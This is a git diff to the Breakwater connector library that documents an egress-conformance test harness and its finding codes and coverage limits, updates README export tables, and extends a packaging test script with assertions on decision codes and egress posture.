+- `NETWORK_IO_OUTSIDE_RUNTIME_FETCH`: a trapped entry point received a request, or the supplied base transport refused one — an unparseable address, no bound egress declaration, or a host the registered declaration does not cover. The attempt is recorded before refusal, including when the connector catches it. The reason names the channel it reached: an entry point reached outside `runtime.fetch`, or a host the registered egress declaration does not cover reached through `policies.fetch`, the supplied base transport. An attempt observed after its case has settled produces a run-level finding: it carries no `case` name, and `observedAfterCase` and the reason name the case whose transport or trap the attempt reached. After the report is built the attempt is dropped. Attribution follows the instrument, not the work: an attempt that abandoned work makes by reading an entry point afresh after its own case settled reaches whichever trap is installed when it lands, and is attributed to that trap's case.
+- `MANIFEST_MISMATCH`: the registered manifest differs from your claim, or the case's subject differs from the probe. The comparison reads `egress` and `requiredPermissions` positionally, so two lists with the same hosts in a different order differ.
+- `POSTURE_NOT_ENFORCED`: the connector declares a declaration-only posture, or its posture changes between the probe and a case.
+- `SUBJECT_UNREGISTERED`: the factory returned an unregistered value, such as `undefined`, `null`, a plain Mastra tool, or a connector from a second copy of Breakwater.
+- `CASE_EXPECTATION_UNMET`: the observed outcome, hosts, or decision code did not match the case, or the invocation never reached the connector's gate boundary.
+- `CASE_INVOCATION_FAILED`: invocation failed before or during invocation; the reason names the error's constructor, uses `unknown` when that name is unavailable, unreadable, or not a plain identifier of at most 64 characters, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications. A connector that rejects by design is outside what a case can express: put such a rejection in an ordinary connector test, not in a conformance case.
+- `CASE_TIMEOUT`: the invocation exceeded its per-case bound. The run ends and names any skipped cases.
+- `NO_TRANSPORT_EVIDENCE`: the connector declares egress, but no case called the harness's transport.
+- `POLICIES_NOT_WIRED`: the report names `fetch`, `audit`, or `both`. A `fetch` finding cannot distinguish a factory that omitted `policies.fetch` from a connector calling ambient fetch directly for a declared host. Both leave an escape and zero harness transport calls. Read the escape record beside the finding for the authoritative request evidence. An `audit` finding means the subject reached its gate boundary without recording a witness on the supplied logger; where the invocation itself failed, it means the invocation ended before a witness could be recorded and says nothing about the boundary.
+- `FACTORY_FAILED`: construction threw. For an `Error` with a string message, the reason is that message. An unreadable error becomes `unreadable error`; a non-Error object becomes `a non-Error object` or `null`; a thrown function becomes `a function`, never its source text. Other thrown values use their string representation.
+- `INSTRUMENTATION_UNSUPPORTED`: an entry point could not be instrumented, or two entry points name the same property.
+- `INSTRUMENTATION_REPLACED`: assignment to a harness-installed accessor was recorded without applying it, or the descriptor or effective value differs from the installed instrumentation, or could not be read, before restoration. The reason states what the harness established about calls made after the replacement — that they did not reach the trap, which covers an entry point deleted outright, or that it did not check, which is what it reports for a replacement that is itself an accessor. It carries no such clause where the entry point still holds the installed trap as its data property value, nor where the descriptor and the effective value could not be read at all. A case whose verification fails is ineligible for the outcome check under the eligibility rule below. Either finding during probe construction refuses the run.
+- `INSTRUMENTATION_NOT_RESTORED`: restoration threw or its descriptor verification failed. The run ends and names any skipped cases.
+- `RUN_OVERLAPPING`: another harness run owns instrumentation in this isolate.
+- `ISOLATE_POISONED`: an earlier case timed out in this isolate; no further run is accepted.
+- `NO_CASES`: the supplied case set is empty. This is one finding, without an additional absence-of-transport finding.
+
+Choose expectations according to the path exercised:
+
+| Expectation | Evidence checked |
+| --- | --- |
+| `guarded-request` with `hosts` | No subject denial, and the transport reached matching declared hosts |
+| `guarded-denial` with `code` | A subject denial with `policyKind: 'egress-fetch'`, plus the expected subject decision code |
+| `policy-denied` with `code` | A subject denial with another policy kind, plus the expected subject decision code |
+| `no-network` | No subject denial and no allowed harness transport call |
+
+A recorded denial takes precedence over a guarded request. An egress-fetch denial takes precedence over another denial.
+
+A case reports observed hosts and is eligible for the outcome check only if its invocation ran, did not time out, and its instrumentation verified intact at settlement. Otherwise it proves `nothing` and its `guardedHosts` is empty, whether or not a denial was recorded. Within that condition, a boundary error without a subject audit witness also leaves the outcome as `nothing`, but does not clear the observed hosts. Every other eligible case runs the outcome check, including one that records `CASE_INVOCATION_FAILED` for a thrown value that is neither a policy denial, a boundary error, nor a harness refusal: without a denial, a case that reached an allowed host proves `guarded-request`; otherwise it proves `no-network`. An expected code must occur among the subject's witness events, independently of the outcome check.
+
+`guarded-request` requires at least one host. Each host is validated at parse time using the manifest's hostname pattern; an empty list or malformed host rejects with `TypeError`. Matching uses the manifest's case-insensitive hostname and wildcard rules. Every expected host must match an observed host; extra observed hosts are allowed.
+
+An egress-declaring connector needs an observed transport call somewhere in the run. The rule reads `transportCalls`, not an expectation's classification. A `guarded-request` case ordinarily supplies that evidence; a case that reaches a declared host and then gets denied on another call also supplies it. Denials before transport do not: an evaluator can emit an egress-fetch denial without making a request, and `EGRESS_HOST_NOT_DECLARED` occurs before the transport is called. `policy-denied` and `no-network` also supply no transport evidence by themselves.
+
+Audit witnesses come from this case's supplied logger, during its invocation, with a `decisionCode` and `resource` equal to the subject connector's id. Setup logs, agent-policy records, and another connector's decisions cannot establish the subject's audit wiring or change its result. This attribution separates ordinary composition; it does not authenticate an arbitrary logger caller. `decisionCodes` preserves invocation-window events for diagnosis, including nested connector codes and `undefined` for events without a code; like `guardedHosts`, it is empty for a case the eligibility rule above excludes.
+
+Egress is not separated the same way. Once a case binds its subject, the supplied base transport checks each host against that subject's registered `egress`, whatever code is holding it: a nested connector the subject composes, handed the subject's `policies.fetch`, reaches a host only its own manifest declares and the transport refuses it there, recorded as a host the registered declaration does not cover. Before that binding — while the probe or a case factory is constructing — the transport has no declaration to read and refuses the call. Declare on the subject every host its composition reaches, or give the nested connector its own transport and accept that traffic through it is unobserved.
+
+Input-schema failures and `invokeConnector` pre-flight refusals have no expectation arm. Test them in ordinary connector tests. Supplied here, they report `proved: 'nothing'` with `CASE_EXPECTATION_UNMET`, whatever the case declared, because the gate boundary was never reached. Cases refused before invocation by instrumentation, factory construction, registration, posture, or manifest checks, and cases with an invocation setup failure, never run their invocation and are ineligible under the eligibility rule above. These cases add no expectation or wiring failure. Any escape recorded during their setup still becomes `NETWORK_IO_OUTSIDE_RUNTIME_FETCH`.
+
+A connector that rejects a well-formed input by design has the same shape here as one that is broken: every expectation arm describes what the connector did through its gate, and there is no arm for "rejected, as intended". Such a case reports `CASE_INVOCATION_FAILED` or `CASE_EXPECTATION_UNMET` and makes the run non-conformant. Certify the paths the connector completes, and keep the expected rejection in an ordinary connector test, which can assert the error itself.
+
+The harness always instruments `globalThis.fetch`. Add other transports as `entryPoints: [{ label, target, property }]`. Entries are processed one at a time, global fetch first, so a supplied target's property callbacks run under the global trap. A consumer-supplied accessor, inherited accessor, locked data descriptor, ignored write, or effective property read that still returns the original causes refusal. A configurable entry point must start as a data property the harness can replace; the harness installs its own accessor in place of that data property. Each write is verified through both its own descriptor and its effective value; each restore is verified against the captured descriptor. A failed write or verification rolls back the stack including that attempted entry. A validation or descriptor-read failure occurs before capture, so rollback covers the preceding entries.
+
+A duplicate `(target, property)` pair refuses the run before any case. Duplicate case names, duplicate labels, and the reserved labels `globalThis.fetch` and `policies.fetch` are malformed options and reject with `TypeError`, without a report. A supplied entry's property refusal is case-scoped. The global fetch descriptor is checked before probe construction and again for each case: an initially unsupported global refuses the run, while a global made unsupported mid-run refuses the affected case. A finding's `case` identifies the latter. Fix the target or options, stop earlier work redefining the global, or use a runtime whose global fetch is a writable or configurable data property.
+
+On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition or assignment still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. Restoration follows invocation settlement or timeout. It restores entry points before clearing the timer, attempts the remaining restores after a failure, and ends a run whose restoration fails. The harness never restores around an unfinished `await`: it puts the whole stack back in one synchronous step.
+
+`INSTRUMENTATION_NOT_RESTORED` ends the run, and the properties it names are left holding whatever the failed restore left there — for `globalThis.fetch`, the harness's trap, which refuses every call and records an escape nothing reads. The isolate is not refused afterwards, so the repair is yours: the finding names each property it could not put back, and your test file must restore those from a descriptor it captured before the run, or discard the isolate rather than run anything else in it.
+
+Each case has `timeoutMs`, defaulting to 2000 ms and accepting positive integers up to 2,147,483,647. Your test timeout must exceed `cases.length × timeoutMs` plus setup. Vitest defaults to 5000 ms per test, so three cases at the harness's default bound require a higher test timeout or lower per-case bounds. Cases must await their own work.
+
+A run owns `globalThis.fetch` for its whole duration, so nothing else in the isolate may call `fetch` while it runs, and the failure goes both ways: an unrelated request made during a case reaches the trap, is refused, and is attributed to the subject as a security finding, while the code that made it fails on a refusal it cannot explain. Run the harness with no concurrent test in the same file or worker, and leave no fetch work un-awaited when a case settles — a promise the previous test abandoned is indistinguishable, to the trap, from one the subject started.
+
+A timed-out case is ineligible under the eligibility rule above, with no expectation check or `CASE_EXPECTATION_UNMET`. It ends the run and permanently refuses later runs in the isolate, preventing abandoned work from being attributed to another case. Put a test that expects a timeout last in its file, or give it its own file. Vitest reuses a file's module graph, so later runs in that file receive `ISOLATE_POISONED`. The package's suite places its timeout test and then its poisoned-isolate assertion last. There is no reset API.
+
+Use `respond(request)` to return `{ status?, headers?, body? }` for guarded traffic; the default is status 200 with an empty body. The request includes the exact URL, hostname, and uppercase method. The URL stays inside your test process and is not copied into harness-generated diagnostics, which use hostnames. `FACTORY_FAILED` is different: when a factory throws an `Error` with a readable string message, that message can contain URLs or other request data your code interpolated. String representations of other thrown values can also contain request data. `INSTRUMENTATION_NOT_RESTORED` and `INSTRUMENTATION_UNSUPPORTED` carry the same text from a second source: each interpolates the error your own `entryPoints` target raised on a write, a restore, or a descriptor read. Inspect all three before sharing a report.
+
+### Conformance limits
+
+Every report states its limit, and the limit names this section:
+
+> conformance covers only the supplied cases, in this isolate, for the duration of each case; channels a run observes, and channels it does not, are described under Conformance limits in the CONNECTORS.md that ships with this package, at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits
+
+A run's evidence is finite. These items state what a run records on the paths it reaches, and the paths by which traffic can reach the network unobserved; the rules they refer to are stated under [Assert connector conformance](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#assert-connector-conformance).
+
+1. A run certifies the cases you supply, in the isolate that loads the harness, over each case's instrumented window: the install that precedes the case, the factory construction and invocation inside it, and the settlement that follows. A network path no case exercises and another isolate are outside that evidence. The harness keeps its overlapping-run and timed-out-isolate guards in module scope, so a second copy of this package loaded in the same isolate carries guards of its own; the package's `.` and `./connector-sdk` entry points resolve to one copy.
+2. A `fetch` reference the subject captured before the harness installed its trap bypasses that trap, and a redefinition or deletion the case itself reverses before it settles is gone before the harness verifies the entry point; neither is observed. An assignment to a harness-installed accessor is a different channel: the `INSTRUMENTATION_REPLACED` description states what happens to it.
+3. Traffic through an independent transport, one that reaches neither a harness trap nor the supplied base transport, is unobserved. Whether a factory that supplies such a transport in place of the harness's is reported depends on the declaration: a connector declaring `egress` is subject to the transport-evidence requirement, which can report the run as `NO_TRANSPORT_EVIDENCE`; a connector declaring no `egress` is outside that requirement, so the substitution is silently unobserved. A replacement transport that itself calls an instrumented entry point is still trapped. On workerd the independent transports are first-class and named: a service, Durable Object or other binding's own `fetch` method, a socket opened with `connect()` from `cloudflare:sockets`, and a `WebSocket` the connector constructs. None of them goes through `globalThis.fetch`, so none is trapped and no case observes one. Pass such a binding as an `entryPoints` target to instrument its method, or declare the connector `declaration-only` and certify nothing about that traffic.
+4. A parseable request the connector makes on the supplied base transport for a host its registered manifest declares is served with a synthetic response. The case result's `transportCalls` is the transport's count read when the case settles; a call the retained transport serves after settlement is served the same way and counted by no case. `guardedHosts` is read at that same moment, so a host served only after settlement is not among them; for a host served during the case, whether it appears depends on the eligibility rule alone, and the precedence rule decides whether those hosts prove `guarded-request`. The harness records no escape for it, and no finding identifies it as a call made around the guarded `fetch`. `POLICIES_NOT_WIRED` reports absent wiring evidence rather than a served call.
+5. A refusal on the supplied base transport — an unparseable address, no bound egress declaration, or an undeclared host — and a call through a trap reference the case kept alive both reach that case's recorder, where the `NETWORK_IO_OUTSIDE_RUNTIME_FETCH` rule routes them. The refusal still happens whether or not the attempt is recorded. The probe is a separate path: a transport or trap retained from probe construction reaches the run-level recorder, under no case name.
+6. Work abandoned by one case that reads `globalThis.fetch` while a later case's trap is installed reaches that trap and is attributed to the later case. The harness records the instrument the call reached; it does not recover which case started the work.
+7. A timed-out case ends the run and refuses later runs in this isolate. For it there is no interval in which a late attempt becomes a run-level finding: the case loop marks the case settled and the run closes with no `await` between the two, so work the case abandoned resumes to a closed run and nothing it then does is recorded. For work abandoned by any case, a read of `globalThis.fetch`, or of any restored entry point, when no trap is installed, including after the run closes, reaches the restored property if restoration succeeds. A request through it is neither trapped nor recorded and leaves the process.
+8. Targets you pass as `entryPoints` are your own test fixtures. The install and restore verification detects concrete property mediation, and not a target that adapts to those checks. Instrument `globalThis.fetch` alone when you need that guarantee.
+
 ## Contribute a connector
 
 1. Add the implementation and tests under
diff --git a/packages/breakwater/README.md b/packages/breakwater/README.md
index df771d45..48a23f71 100644
--- a/packages/breakwater/README.md
+++ b/packages/breakwater/README.md
@@ -252,7 +252,7 @@ const account = await invokeConnector(accountLookup, {
 });
 ```
 
-Pass a trusted `RequestContext` when the connector uses grants, identity, dry-run, idempotency, or isolation keys. `invokeConnector()` preserves Mastra schema validation and every Breakwater gate. It rejects plain tools and connectors whose ID, execution function, or schema surface changed after construction. Validation failures throw a redacted `ConnectorValidationError` with the connector ID and `input` or `output` phase.
+Pass a trusted `RequestContext` when the connector uses grants, identity, dry-run, idempotency, or isolation keys. `invokeConnector()` preserves Mastra schema validation and every Breakwater gate. It rejects plain tools and connectors whose ID, execution function, or schema surface changed after construction. Validation failures throw a redacted `ConnectorValidationError` with a stable kind/code, connector ID and `input` or `output` phase.
 
 The permission manifest is enforced:
 
@@ -352,8 +352,8 @@ the result at their gateway boundary.
 
 A fixed window can admit traffic on both sides of a boundary, approaching
 twice the nominal count in a short interval. Use another `RateLimitStore`
-implementation if you require token-bucket or GCRA semantics.
-Counts must be safe integers from 1 through `Number.MAX_SAFE_INTEGER`.
+implementation if you require token-bucket or GCRA semantics. Counts must be
+safe integers from 1 through `Number.MAX_SAFE_INTEGER`.
 `D1RateLimitStore` commits its increment and rollover cleanup in one D1 batch,
 so cleanup failure cannot consume quota for a rejected call.
 
@@ -450,9 +450,8 @@ process-tree termination, timeout, and output limits.
 
 The returned `text` is functional agent output and may contain sensitive data.
 The `command` redacts the prompt and `--flag=value` option values. Validation
-failures, error messages, error metadata, and
-breakwater-generated audit reasons do not contain the prompt or captured
-stdout and stderr.
+failures, error messages, error metadata, and breakwater-generated audit
+reasons do not contain the prompt or captured stdout and stderr.
 
 The adapter does not sandbox the child. It inherits the parent environment and
 credentials, and `cwd` is the workspace the CLI may modify. Its manifest
@@ -476,7 +475,10 @@ This enforcement cannot see:
 - raw sockets or child-process network traffic.
 
 Route every connector request through `runtime.fetch`. Use host-level network
-controls when code outside that seam must also be constrained.
+controls when code outside that seam must also be constrained. Declare
+`permissions.egressEnforcement: 'declaration-only'` for traffic outside the
+guard; `connectorEgressPosture()` reads the resolved posture and connector
+audit events record it as `detail.egressEnforcement`.
 
 ## Public API
 
@@ -521,17 +523,21 @@ for compatibility.
 
 ### Connector SDK exports
 
+Use the [connector decision-code guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/connector-interface.md#connector-decision-codes) to classify failures and audit events. The exported `ConnectorDecisionCode` and `ConnectorPolicyName` types support machine handling while diagnostic policy names remain open strings. Retryability preserves the same operation identity; it does not add automatic retries.
+
 | Runtime exports | Purpose |
 | --- | --- |
-| `createConnector`, `connectorManifest` | Build an enforced Mastra connector and inspect its immutable manifest |
+| `createConnector`, `connectorManifest`, `connectorEgressPosture` | Build an enforced Mastra connector and inspect its immutable manifest and resolved egress posture |
+| `assertConnectorConformance`, `ConnectorConformanceError` | Assert supplied connector cases against trapped egress entry points and inspect the failure report |
 | `invokeConnector` | Invoke an unmodified connector from trusted host or workflow code without fabricating a Mastra tool context |
 | `singleTenantConnectorPolicies` | Build the validated connector-policy baseline for one physically isolated deployment |
-| `ConnectorPolicyError`, `ConnectorValidationError` | Structured policy denial and redacted direct-invocation validation failure |
+| `ConnectorPolicyError`, `ConnectorStoreError`, `ConnectorEvaluatorError`, `ConnectorValidationError`, `ConnectorInvocationError` | Stable classification for authored connector failures |
+| `CONNECTOR_DECISIONS`, `isConnectorDecisionCode`, `connectorDecisionRetryable` | Decision catalogue and retryability without parsing diagnostic prose |
 | `CONNECTOR_GRANTS_CONTEXT_KEY`, `CONNECTOR_EXECUTION_CONTEXT_KEY`, `DRY_RUN_CONTEXT_KEY`, `IDEMPOTENCY_KEY_CONTEXT_KEY` | Stable connector request-context keys |
 | `InMemoryIdempotencyStore`, `D1IdempotencyStore` | Development and durable replay stores |
 | `inspectLegacyConnectorIdempotency`, `migrateLegacyConnectorIdempotency` | Inventory and atomically migrate one externally proven ambiguous legacy D1 row without exposing storage keys |
 | `InMemoryRateLimitStore`, `D1RateLimitStore` | Development and durable fixed-window stores |
-| `egressFetch`, `EgressDeniedError` | Standalone fetch guard and its default denial |
+| `egressFetch`, `EgressDeniedError`, `EgressGuardError` | Standalone fetch guard and coded request/redirect refusals |
 
 Type exports: `Connector`, `ConnectorInvocationOptions`, `PermissionManifest`, `ConnectorConfig`, `ConnectorPolicies`,
 `SingleTenantConnectorPolicies`, `SingleTenantConnectorPoliciesOptions`,
@@ -539,7 +545,7 @@ Type exports: `Connector`, `ConnectorInvocationOptions`, `PermissionManifest`, `
 `SingleTenantPermissionPosture`,
 `ConnectorApprovalGrant`, `ConnectorApprovalGrantBase`,
 `ConnectorApprovalSuspension`, `ConnectorExecutionIdentity`,
-`ConnectorRuntime`, `IdempotencyStore`,
+`ConnectorRuntime`, `ConnectorEgressPosture`, `IdempotencyStore`,
 `AtomicIdempotencyStore`,
 `InspectableIdempotencyStore`, `IdempotencyInspection`,
 `IdempotencyRecord`, `IdempotencyReservation`, `RateLimitStore`,
@@ -550,7 +556,7 @@ Type exports: `Connector`, `ConnectorInvocationOptions`, `PermissionManifest`, `
 `IdempotencyStatement`, `IdempotencyBatchResult`, `D1RateLimitStoreOptions`, `RateLimitDatabase`,
 `RateLimitStatement`, `RateLimitBatchResult`, `EgressDenial`, `EgressFetchOptions`,
 `EgressFetchBase`, `EgressGuardedFetch`, `EgressRequestInit`,
-`EgressResponse`, and `EgressResponseHeaders`.
+`EgressResponse`, `EgressResponseHeaders`, `ConnectorConformanceCase`, `ConnectorConformanceCaseResult`, `ConnectorConformanceEntryPoint`, `ConnectorConformanceEscape`, `ConnectorConformanceFactory`, `ConnectorConformanceFinding`, `ConnectorConformanceFindingCode`, `ConnectorConformanceOptions`, `ConnectorConformanceReport`, `ConnectorConformanceRequest`, `ConnectorConformanceResponse`, `ConnectorConformanceRuntime`.
 
 ### Agent CLI exports
 
diff --git a/packages/breakwater/scripts/packed-consumer-test.mjs b/packages/breakwater/scripts/packed-consumer-test.mjs
index c6e83325..e1ee1d85 100644
--- a/packages/breakwater/scripts/packed-consumer-test.mjs
+++ b/packages/breakwater/scripts/packed-consumer-test.mjs
@@ -160,7 +160,7 @@ try {
           noEmit: true,
           skipLibCheck: true,
         },
-        include: ['consumer.ts'],
+        include: ['consumer.ts', 'decision-consumer.ts'],
       },
       null,
       2,
@@ -184,6 +184,20 @@ try {
   type AgentCliErrorCode,
   type AgentCliErrorMetadata,
   type ConnectorApprovalGrant,
+  ConnectorConformanceError,
+  type ConnectorConformanceCase,
+  type ConnectorConformanceCaseResult,
+  type ConnectorConformanceEntryPoint,
+  type ConnectorConformanceEscape,
+  type ConnectorConformanceFactory,
+  type ConnectorConformanceFinding,
+  type ConnectorConformanceFindingCode,
+  type ConnectorConformanceOptions,
+  type ConnectorConformanceReport,
+  type ConnectorConformanceRequest,
+  type ConnectorConformanceResponse,
+  type ConnectorConformanceRuntime,
+  type ConnectorEgressPosture,
   type ConnectorExecutionIdentity,
   type ConnectorInvocationOptions,
   type GuardedAgentCallOptions,
@@ -204,6 +218,20 @@ import {
   migrateLegacyConnectorIdempotency as migrateLegacyConnectorIdempotencyFromSubpath,
   singleTenantConnectorPolicies as singleTenantConnectorPoliciesFromSubpath,
   type ConnectorApprovalSuspension,
+  ConnectorConformanceError as ConnectorConformanceErrorFromSubpath,
+  type ConnectorConformanceCase as ConnectorConformanceCaseFromSubpath,
+  type ConnectorConformanceCaseResult as ConnectorConformanceCaseResultFromSubpath,
+  type ConnectorConformanceEntryPoint as ConnectorConformanceEntryPointFromSubpath,
+  type ConnectorConformanceEscape as ConnectorConformanceEscapeFromSubpath,
+  type ConnectorConformanceFactory as ConnectorConformanceFactoryFromSubpath,
+  type ConnectorConformanceFinding as ConnectorConformanceFindingFromSubpath,
+  type ConnectorConformanceFindingCode as ConnectorConformanceFindingCodeFromSubpath,
+  type ConnectorConformanceOptions as ConnectorConformanceOptionsFromSubpath,
+  type ConnectorConformanceReport as ConnectorConformanceReportFromSubpath,
+  type ConnectorConformanceRequest as ConnectorConformanceRequestFromSubpath,
+  type ConnectorConformanceResponse as ConnectorConformanceResponseFromSubpath,
+  type ConnectorConformanceRuntime as ConnectorConformanceRuntimeFromSubpath,
+  type ConnectorEgressPosture as ConnectorEgressPostureFromSubpath,
   type SingleTenantConnectorPolicies,
 } from '@proofoftech/breakwater/connector-sdk';
 import { PolicyEngine } from '@proofoftech/breakwater/policy-engine';
@@ -219,6 +247,10 @@ import type { AuditEvent } from '@proofoftech/breakwater/audit';
 import { CODEX_CLI } from '@proofoftech/breakwater/agent-cli';
 
 const code: AgentCliErrorCode = 'nonzero-exit';
+const posture: ConnectorEgressPosture = 'enforced';
+const postureDeclared: ConnectorEgressPosture = 'declaration-only';
+const postureFromSubpath: ConnectorEgressPostureFromSubpath = 'declaration-only';
+const postureEnforcedFromSubpath: ConnectorEgressPostureFromSubpath = 'enforced';
 const metadata: AgentCliErrorMetadata = { code };
 const event = null as AuditEvent | null;
 const permission: Permission = 'payments.release';
@@ -332,17 +364,62 @@ void metadata;
 void event;
 void grant;
 void execution;
+`,
+  );
+  await writeFile(
+    join(consumerDirectory, 'decision-consumer.ts'),
+    `import {
+  CONNECTOR_DECISIONS, ConnectorPolicyError, ConnectorStoreError,
+  ConnectorEvaluatorError, ConnectorInvocationError, ConnectorValidationError,
+  connectorDecisionRetryable, isConnectorDecisionCode,
+  type ConnectorDecisionCode, type ConnectorPolicyName, type ConnectorDenialMetadata,
+  type ConnectorStoreName, type ConnectorStoreOperation, type ConnectorInvocationCode,
+} from '@proofoftech/breakwater';
+import { ConnectorPolicyError as SdkPolicyError } from '@proofoftech/breakwater/connector-sdk';
+import type { AuditEvent } from '@proofoftech/breakwater/audit';
+const metadata: ConnectorDenialMetadata = {
+  code: 'PERMISSION_MISSING',
+  details: { missingPermissions: ['resource.read'], permissionPolicyVersion: 'v1' },
+};
+const legacy: ConnectorPolicyError = new SdkPolicyError('example.read', 'custom-label', 'denied');
+const denial = new ConnectorPolicyError('example.read', 'custom-label', 'denied', metadata);
+const kind: ConnectorPolicyName = denial.policyKind;
+const code: ConnectorDecisionCode = denial.code;
+const retry: boolean = CONNECTOR_DECISIONS[code].retryable;
+const storeName: ConnectorStoreName = 'idempotency';
+const operation: ConnectorStoreOperation = 'get';
+const store = new ConnectorStoreError('example.read', storeName, operation, { cause: null });
+const evaluator = new ConnectorEvaluatorError('example.read', 'custom', { cause: null });
+const invocationCode: ConnectorInvocationCode = 'CONNECTOR_UNREGISTERED';
+const invocation: TypeError = new ConnectorInvocationError(undefined, invocationCode, 'unregistered');
+const validation = new ConnectorValidationError('example.read', 'input');
+const event: AuditEvent = {
+  timestamp: '2026-09-09T00:00:00.000Z', actor: null, action: 'connector.execute',
+  resource: 'example.read', decision: 'denied', decisionCode: code, policyKind: kind, retryable: retry,
+};
+declare const candidate: unknown;
+if (isConnectorDecisionCode(candidate)) connectorDecisionRetryable(candidate);
+// @ts-expect-error unknown codes are not part of the published union
+const unknownCode: ConnectorDecisionCode = 'UNKNOWN_CONNECTOR_CODE';
+// @ts-expect-error error details do not accept a raw request body
+const unsafe: ConnectorDenialMetadata = { code: 'EGRESS_HOST_NOT_DECLARED', details: { body: 'private' } };
+void [legacy, store, evaluator, invocation, validation, event, unknownCode, unsafe];
 `,
   );
   await writeFile(
     join(consumerDirectory, 'runtime.mjs'),
     `import assert from 'node:assert/strict';
+import * as root from '@proofoftech/breakwater';
+import * as sdk from '@proofoftech/breakwater/connector-sdk';
 import { RequestContext } from '@mastra/core/request-context';
 import {
   AgentCliError,
   AuditLogger,
+  assertConnectorConformance,
+  ConnectorConformanceError,
   ConnectorPolicyError,
   ConnectorValidationError,
+  connectorEgressPosture,
   createConnector,
   createGuardedAgent,
   createCodexConnector,
@@ -355,6 +432,7 @@ import {
   CONNECTOR_EXECUTION_CONTEXT_KEY,
   CONNECTOR_GRANTS_CONTEXT_KEY,
   connectorManifest,
+  connectorEgressPosture as connectorEgressPostureFromSubpath,
   invokeConnector as invokeConnectorFromSubpath,
   singleTenantConnectorPolicies as singleTenantConnectorPoliciesFromSubpath,
 } from '@proofoftech/breakwater/connector-sdk';
@@ -371,6 +449,60 @@ await Promise.all([
   import('@proofoftech/breakwater/audit'),
   import('@proofoftech/breakwater/agent-cli'),
 ]);
+for (const name of [
+  'CONNECTOR_DECISIONS', 'ConnectorPolicyError', 'ConnectorStoreError',
+  'ConnectorEvaluatorError', 'ConnectorInvocationError', 'ConnectorValidationError',
+  'EgressDeniedError', 'EgressGuardError', 'connectorDecisionRetryable', 'isConnectorDecisionCode',
+]) assert.equal(root[name], sdk[name], name);
+// The harness's run guards are module-scoped. ConnectorConformanceError is
+// declared in the module that holds them, so one identity here is one copy of
+// those guards behind both entry points.
+for (const name of ['ConnectorConformanceError', 'assertConnectorConformance'])
+  assert.equal(root[name], sdk[name], name);
+const legacyPolicy = new root.ConnectorPolicyError('packed.read', 'custom', 'denied');
+assert.equal(legacyPolicy.code, 'EVALUATOR_DENIED');
+assert.equal(legacyPolicy.policyKind, 'evaluator');
+assert.equal(legacyPolicy.retryable, false);
+assert.equal(legacyPolicy.message, 'connector packed.read denied by custom: denied');
+assert.equal(root.isConnectorDecisionCode(JSON.parse(JSON.stringify(legacyPolicy)).code), true);
+assert.equal(root.isConnectorDecisionCode('constructor'), false);
+assert.equal(root.isConnectorDecisionCode('__proto__'), false);
+assert.equal(Object.isFrozen(root.CONNECTOR_DECISIONS), true);
+assert.equal(Object.isFrozen(root.CONNECTOR_DECISIONS.STORE_UNAVAILABLE), true);
+assert.equal(root.connectorDecisionRetryable('STORE_UNAVAILABLE'), true);
+assert.equal(root.connectorDecisionRetryable('STORE_COMMIT_FAILED'), false);
+assert.equal(root.connectorDecisionRetryable('STORE_RELEASE_FAILED'), false);
+assert.throws(() => root.connectorDecisionRetryable('unknown'), TypeError);
+const storeCause = new Error('packed-private-store-cause');
+const storeAudit = new AuditLogger();
+let storeExecutions = 0;
+const storeFailure = createConnector({
+  id: 'packed.store-failure', description: 'Exercise a refused local budget',
+  permissions: { sideEffect: 'read', rateLimit: '1/min' },
+  policies: { audit: storeAudit, rateLimitStore: { increment: async () => { throw storeCause; } } },
+  execute: async () => { storeExecutions++; return {}; },
+});
+const storeError = await invokeConnector(storeFailure, {}, {}).catch(error => error);
+assert.equal(storeError instanceof sdk.ConnectorStoreError, true);
+assert.equal(storeError.cause, storeCause);
+assert.equal(storeError.code, 'STORE_UNAVAILABLE');
+assert.equal(storeError.operation, 'increment');
+assert.equal(storeError.retryable, true);
+assert.equal(storeExecutions, 0);
+assert.equal(storeAudit.events().length, 1);
+assert.equal(storeAudit.events()[0].decisionCode, storeError.code);
+assert.equal(JSON.stringify(storeAudit.events()).includes('packed-private-store-cause'), false);
+let cliExecutions = 0;
+const cliStoreFailure = createCodexConnector({
+  requiresApproval: false, rateLimit: '1/min',
+  exec: async () => { cliExecutions++; return { stdout: '', stderr: '', exitCode: 0 }; },
+  policies: { rateLimitStore: { increment: async () => { throw storeCause; } } },
+});
+const cliStoreError = await invokeConnector(cliStoreFailure, { prompt: 'private prompt' }, {}).catch(error => error);
+assert.equal(cliStoreError instanceof sdk.ConnectorStoreError, true);
+assert.equal(cliStoreError.code, 'STORE_UNAVAILABLE');
+assert.equal(Object.hasOwn(cliStoreError, 'cause'), false);
+assert.equal(cliExecutions, 0);
 assert.equal(CONNECTOR_GRANTS_CONTEXT_KEY, 'breakwater.connectorGrants');
 assert.equal(
   CONNECTOR_EXECUTION_CONTEXT_KEY,
@@ -435,6 +567,9 @@ const unauthorized = await invokeConnector(release, {}, {
 }).catch((error) => error);
 assert.equal(unauthorized instanceof ConnectorPolicyError, true);
 assert.equal(unauthorized.policy, 'required-permissions');
+assert.equal(unauthorized.code, 'PERMISSION_PROJECTION_INVALID');
+assert.equal(unauthorized.kind, 'connector-policy');
+assert.equal(unauthorized.retryable, false);
 const authorizedContext = new RequestContext();
 authorizedContext.set(PRINCIPAL_PERMISSIONS_CONTEXT_KEY, {
   permissions: ['payments.release'],
@@ -493,11 +628,29 @@ assert.deepEqual(output, {
 assert.deepEqual(connectorManifest(tool), {
   sideEffect: 'write',
   egress: ['api.openai.com', 'chatgpt.com'],
+  egressEnforcement: 'declaration-only',
   requiresApproval: false,
   dryRun: true,
   rateLimit: undefined,
   idempotencyKey: undefined,
 });
+assert.equal(connectorEgressPosture, connectorEgressPostureFromSubpath);
+assert.equal(connectorEgressPosture(tool), 'declaration-only');
+assert.equal(connectorEgressPostureFromSubpath(presetRead), 'declaration-only');
